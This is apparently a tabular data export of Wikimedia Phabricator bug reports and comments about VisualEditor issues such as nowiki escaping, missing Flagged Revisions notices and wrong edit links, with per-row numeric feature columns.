> without the limitations of the editable preview.",,,1381609456,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-7te6uik6zxfmwlua2dgh,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,33.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,27.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.5333333333333333,"Another reason why the current method is not ideal, taken from
URL

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
249929,"VisualEditor: VE should use the existing ""action"" URL parameter instead of the new ""veaction""","For the sake of solving bug 51421, maybe it could use ""action=vedit""?",,,1375207110,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-7te6uik6zxfmwlua2dgh,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,11.0,0.0,6.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.2222222222222223,0.9444444444444444,"For the sake of solving bug 51421, maybe it could use ""action=vedit""?"
54280,The on-page Flagged Revisions notice about transcluded files or templates having outstanding changes doesn't appear in the edit notices,"When a page has pending edits and it is opened for editing using VisualEditor, there is a dropdown box with a notice about this.  When a page has a template or a file with pending changes is opened for editing, the dropdown box does not appear.

An example on the Russian Wikipedia:
https://ru.wikipedia.org/wiki/%D0%98%D1%80%D0%B3%D0%B8%D1%88

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52440",Medium,50.0,1375204500,1422422963.0,PHID-USER-fwlidikyeorzj35hufwu,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-rkr7k7s24b2ie267wdh5,task_description,resolved,True,c1,3,False,False,False,4,,0.0,0.0,0.0,2.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,13.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,7.0,4.0,0.0,0.0,0.0,1.0,0.0,2.0,8.0,0.0,3.0,0.0,0.0,0.0,3.707865168539326,0.550561797752809,"When a page has pending edits and it is opened for editing using VisualEditor, there is a dropdown box with a notice about this.  When a page has a template or a file with pending changes is opened for editing, the dropdown box does not appear.

An example on the Russian Wikipedia:
URL

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
403773,The on-page Flagged Revisions notice about transcluded files or templates having outstanding changes doesn't appear in the edit notices,"Change 123875 merged by jenkins-bot:
Show pending changes notice about unstable transclusions in VE

[[https://gerrit.wikimedia.org/r/123875]]",,,1422422861,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rkr7k7s24b2ie267wdh5,task_subcomment,,True,c1,3,False,,,82,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.291666666666667,0.9166666666666666,"Change 123875 merged by jenkins-bot:
Show pending changes notice about unstable transclusions in VE

[[GERRIT_URL]]"
249898,The on-page Flagged Revisions notice about transcluded files or templates having outstanding changes doesn't appear in the edit notices,"(In reply to Alex Monk from comment #6)
> (In reply to James Forrester from comment #5)
> > (In reply to Alex Monk from comment #3)
> > > Shouldn't this appear on the wikitext editor too then?
> > 
> > Maybe create a further bug for that in FlaggedRevisions?
> 
> I just noticed that it was already made - by you. And it's what this bug is
> marked as depending on.

Ha. Never mind me. :-)",,,1396644576,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rkr7k7s24b2ie267wdh5,task_subcomment,,True,c1,3,True,,,39,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,37.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,3.0,0.0,3.0,9.0,26.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.857142857142857,0.5714285714285714,"(In reply to Alex Monk from comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Ha. Never mind me. :-)"
249892,The on-page Flagged Revisions notice about transcluded files or templates having outstanding changes doesn't appear in the edit notices,"(In reply to James Forrester from comment #5)
> (In reply to Alex Monk from comment #3)
> > Shouldn't this appear on the wikitext editor too then?
> 
> Maybe create a further bug for that in FlaggedRevisions?

I just noticed that it was already made - by you. And it's what this bug is marked as depending on.",,,1396644489,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-rkr7k7s24b2ie267wdh5,task_subcomment,,True,c1,3,True,,,39,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,5.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,9.0,16.0,9.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.25,0.8181818181818182,"(In reply to James Forrester from comment #5)
QUOTE
QUOTE
QUOTE
QUOTE

I just noticed that it was already made - by you. And it's what this bug is marked as depending on."
249888,The on-page Flagged Revisions notice about transcluded files or templates having outstanding changes doesn't appear in the edit notices,"(In reply to Alex Monk from comment #3)
> Shouldn't this appear on the wikitext editor too then?

Maybe create a further bug for that in FlaggedRevisions?",,,1396632349,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rkr7k7s24b2ie267wdh5,task_subcomment,,True,c1,3,True,,,39,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,21.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,"(In reply to Alex Monk from comment #3)
QUOTE

Maybe create a further bug for that in FlaggedRevisions?"
249885,The on-page Flagged Revisions notice about transcluded files or templates having outstanding changes doesn't appear in the edit notices,"Change 123875 had a related patch set uploaded by Alex Monk:
Show pending changes notice about unstable transclusions in VE

https://gerrit.wikimedia.org/r/123875",,,1396625665,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rkr7k7s24b2ie267wdh5,task_subcomment,,True,c1,3,False,,,39,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.875,1.0,"Change 123875 had a related patch set uploaded by Alex Monk:
Show pending changes notice about unstable transclusions in VE

GERRIT_URL"
249879,The on-page Flagged Revisions notice about transcluded files or templates having outstanding changes doesn't appear in the edit notices,Shouldn't this appear on the wikitext editor too then?,,,1396622745,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-rkr7k7s24b2ie267wdh5,task_subcomment,,True,c1,3,True,,,39,,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,27.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.181818181818182,1.0,Shouldn't this appear on the wikitext editor too then?
249874,The on-page Flagged Revisions notice about transcluded files or templates having outstanding changes doesn't appear in the edit notices,"Yes, this is intentional (as the tool interferes with VisualEditor and will need re-writing/merging into VE to work properly).

The notice above the page having transcluded files or templates with outstanding changes feels like one of the things that should appear in the wikitext page's edit notices (and so on VisualEditor's panel too) - not sure why it doesn't. Is this a Pending Changes bug?",,,1375216355,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rkr7k7s24b2ie267wdh5,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,6.0,4.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,17.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,2.0,10.0,1.0,4.0,10.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,1.0,14.0,6.0,1.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,4.0,0.0,0.0,0.0,4.098765432098766,0.8395061728395061,"Yes, this is intentional (as the tool interferes with VisualEditor and will need re-writing/merging into VE to work properly).

The notice above the page having transcluded files or templates with outstanding changes feels like one of the things that should appear in the wikitext page's edit notices (and so on VisualEditor's panel too) - not sure why it doesn't. Is this a Pending Changes bug?"
249867,The on-page Flagged Revisions notice about transcluded files or templates having outstanding changes doesn't appear in the edit notices,"Specifically, not only does the dropdown box not appear, but the notice that was on the page before clicking ""edit"" disappears, leaving absolutely no notice.",,,1375207442,,PHID-USER-fwlidikyeorzj35hufwu,False,,,PHID-TASK-rkr7k7s24b2ie267wdh5,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,16.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,10.0,3.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,4.290322580645161,0.7741935483870968,"Specifically, not only does the dropdown box not appear, but the notice that was on the page before clicking ""edit"" disappears, leaving absolutely no notice."
54268,Improve nowiki escaping of template arguments by using global context,"When an unmatched literal square bracket is used in the title of a reference, Parsoid or VisualEditor encloses it in a nowiki tag.

Example on the live wiki: https://en.wikipedia.org/w/index.php?title=Wikipedia&diff=566045928&oldid=566042453#cite_ref-209 (line 360)
Examples in testing: https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox&diff=566402676&oldid=566401436

It is possible this is a reappearance of or related to T45067

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
{T45067}
{T52331}",Medium,50.0,1375178760,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-x4ddesfyx6gxnu6ahuf6,task_description,open,True,c1,3,False,False,,4,,0.0,0.0,0.0,1.0,0.0,9.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,17.0,1.0,2.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,8.0,9.0,0.0,0.0,0.0,2.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.6111111111111112,"When an unmatched literal square bracket is used in the title of a reference, Parsoid or VisualEditor encloses it in a nowiki tag.

Example on the live wiki: URL (line 360)
Examples in testing: URL

It is possible this is a reappearance of or related to T45067

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
{T45067}
{T52331}"
249281,Improve nowiki escaping of template arguments by using global context,"Yes, this is a known problem.  There are two different forms of nowiki escaping that goes on in Parsoid.  One is applied to text strings (the common kind that appears around [[foo]] when typed literally).

The one in this bug report is applied to transclusion parameters to prevent literal characters messing up transclusion parse.

Ex: If {{tpl|foo|bar}} is editd to {{tpl|[[foo|bar]]}}, then the ""[[foo"" and ""bar]]"" have to be wrapped in nowikis to prevent ""[[foo|bar]]"" from being parsed as a wikilink.

The current limitation of this second form of nowiki escaping is that it only checks arguments one at a time.  So, it conservatively escapes ""[foo"" in one argument right now without looking at the global context of all arguments which is why you see the nowiki escapes there.

To be fixed.",,,1375200325,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-x4ddesfyx6gxnu6ahuf6,task_subcomment,,True,c1,3,True,,,4,,0.5,0.0,0.0,2.5,0.0,6.0,1.5,0.0,0.0,0.5,2.5,0.0,0.0,0.5,0.5,0.0,0.0,5.5,13.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,7.0,1.5,1.0,0.5,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.5,3.0,0.0,0.5,0.0,0.5,0.0,11.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.5,5.0,5.0,2.0,0.5,7.5,0.0,0.0,0.0,0.0,2.0,0.5,2.5,0.0,1.5,13.0,1.0,0.0,4.5,0.0,1.5,0.0,2.5,1.5,0.0,1.5,0.0,0.0,6.0,3.6358695652173916,0.6739130434782609,"Yes, this is a known problem.  There are two different forms of nowiki escaping that goes on in Parsoid.  One is applied to text strings (the common kind that appears around [[foo]] when typed literally).

The one in this bug report is applied to transclusion parameters to prevent literal characters messing up transclusion parse.

Ex: If {{tpl|foo|bar}} is editd to {{tpl|[[foo|bar]]}}, then the ""[[foo"" and ""bar]]"" have to be wrapped in nowikis to prevent ""[[foo|bar]]"" from being parsed as a wikilink.

The current limitation of this second form of nowiki escaping is that it only checks arguments one at a time.  So, it conservatively escapes ""[foo"" in one argument right now without looking at the global context of all arguments which is why you see the nowiki escapes there.

To be fixed."
54261,VisualEditor: VE edit tab points to the wrong oldid on diff pages (earlier version not later one),"**Author:** `sandrobt.wiki`

**Description:**
The (visual)edit button in a diff (such as http://it.wikipedia.org/w/index.php?title=Kawakami_Gensai&diff=20609681&oldid=18301858) makes you edit the last version (in the example above the edit button gives the link http://it.wikipedia.org/wiki/Kawakami_Gensai?veaction=edit), whereas clicking on edit source makes you edit the old version (the newest of the two compared versions).

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1375161360,1397598107.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-pey4kjm5sey6cllpuym2,task_description,resolved,True,c1,3,False,False,False,4,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,10.0,1.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,9.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,3.753086419753086,0.5555555555555556,"**Author:** CODE

**Description:**
The (visual)edit button in a diff (such as URL makes you edit the last version (in the example above the edit button gives the link URL whereas clicking on edit source makes you edit the old version (the newest of the two compared versions).

--------------------------
**Version**: unspecified
**Severity**: normal"
248950,VisualEditor: VE edit tab points to the wrong oldid on diff pages (earlier version not later one),"This was fixed some time ago, it appears.",,,1397598107,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pey4kjm5sey6cllpuym2,task_subcomment,,True,c1,3,True,,,41,,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,"This was fixed some time ago, it appears."
248945,VisualEditor: VE edit tab points to the wrong oldid on diff pages (earlier version not later one),As far as I can tell the edit source and edit links point to the same oldid. Is this bug still valid?,,,1397523999,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-pey4kjm5sey6cllpuym2,task_subcomment,,True,c1,3,True,,,41,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.9166666666666666,As far as I can tell the edit source and edit links point to the same oldid. Is this bug still valid?
248938,VisualEditor: VE edit tab points to the wrong oldid on diff pages (earlier version not later one),This looks to be possibly the same issue as bug 51364,,,1376475898,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-pey4kjm5sey6cllpuym2,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,1.0,This looks to be possibly the same issue as bug 51364
248930,VisualEditor: VE edit tab points to the wrong oldid on diff pages (earlier version not later one),Confirming this -  http://it.wikipedia.org/w/index.php?title=Salamandrina_terdigitata&diff=60451620&oldid=57566108 .,,,1375291261,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-pey4kjm5sey6cllpuym2,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.3333333333333335,1.0,Confirming this -  URL .
54243,VisualEditor: Subpages' link to their parent in the page strapline (#contentSub) get hidden but are still there,"Steps to reproduce:

Go to any page that is a subpage, such as a user sandbox. Observe the link to the parent page, located just under ""From Wikipedia..."". Activate VE. Observe that the aforementioned link disappears.

Found in firefox 22, chrome 28, in both monobook and vector. Screenshot at https://en.wikipedia.org/wiki/File:VE_Phantom_Link.png

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54325
https://bugzilla.wikimedia.org/show_bug.cgi?id=58063",Medium,50.0,1375131300,1389633369.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-jjtln7nquqmd5je6fmy3,task_description,resolved,True,c1,3,False,False,False,4,,1.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,18.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,18.0,1.0,2.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,11.0,6.0,0.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6,0.5789473684210527,"Steps to reproduce:

Go to any page that is a subpage, such as a user sandbox. Observe the link to the parent page, located just under ""From Wikipedia..."". Activate VE. Observe that the aforementioned link disappears.

Found in firefox 22, chrome 28, in both monobook and vector. Screenshot at URL

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL
URL"
247770,VisualEditor: Subpages' link to their parent in the page strapline (#contentSub) get hidden but are still there,"Change 107133 merged by jenkins-bot:
Hide #contentSub properly

https://gerrit.wikimedia.org/r/107133",,,1389633321,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jjtln7nquqmd5je6fmy3,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.533333333333333,1.0,"Change 107133 merged by jenkins-bot:
Hide #contentSub properly

GERRIT_URL"
247763,VisualEditor: Subpages' link to their parent in the page strapline (#contentSub) get hidden but are still there,"Change 107133 had a related patch set uploaded by Jforrester:
Hide #contentSub properly

https://gerrit.wikimedia.org/r/107133",,,1389626443,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jjtln7nquqmd5je6fmy3,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.888888888888889,1.0,"Change 107133 had a related patch set uploaded by Jforrester:
Hide #contentSub properly

GERRIT_URL"
54241,VisualEditor: Render absolute URLs as links inside the editor,"When you copy & paste a link into VisualEditor, it will not be recognized as a URL, but will appear as plaintext. The MediaWiki parser does render it as a clickable link, of course.

This is annoying especially for references, because you might be confused why your link you're adding as a citation doesn't appear to be clickable.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
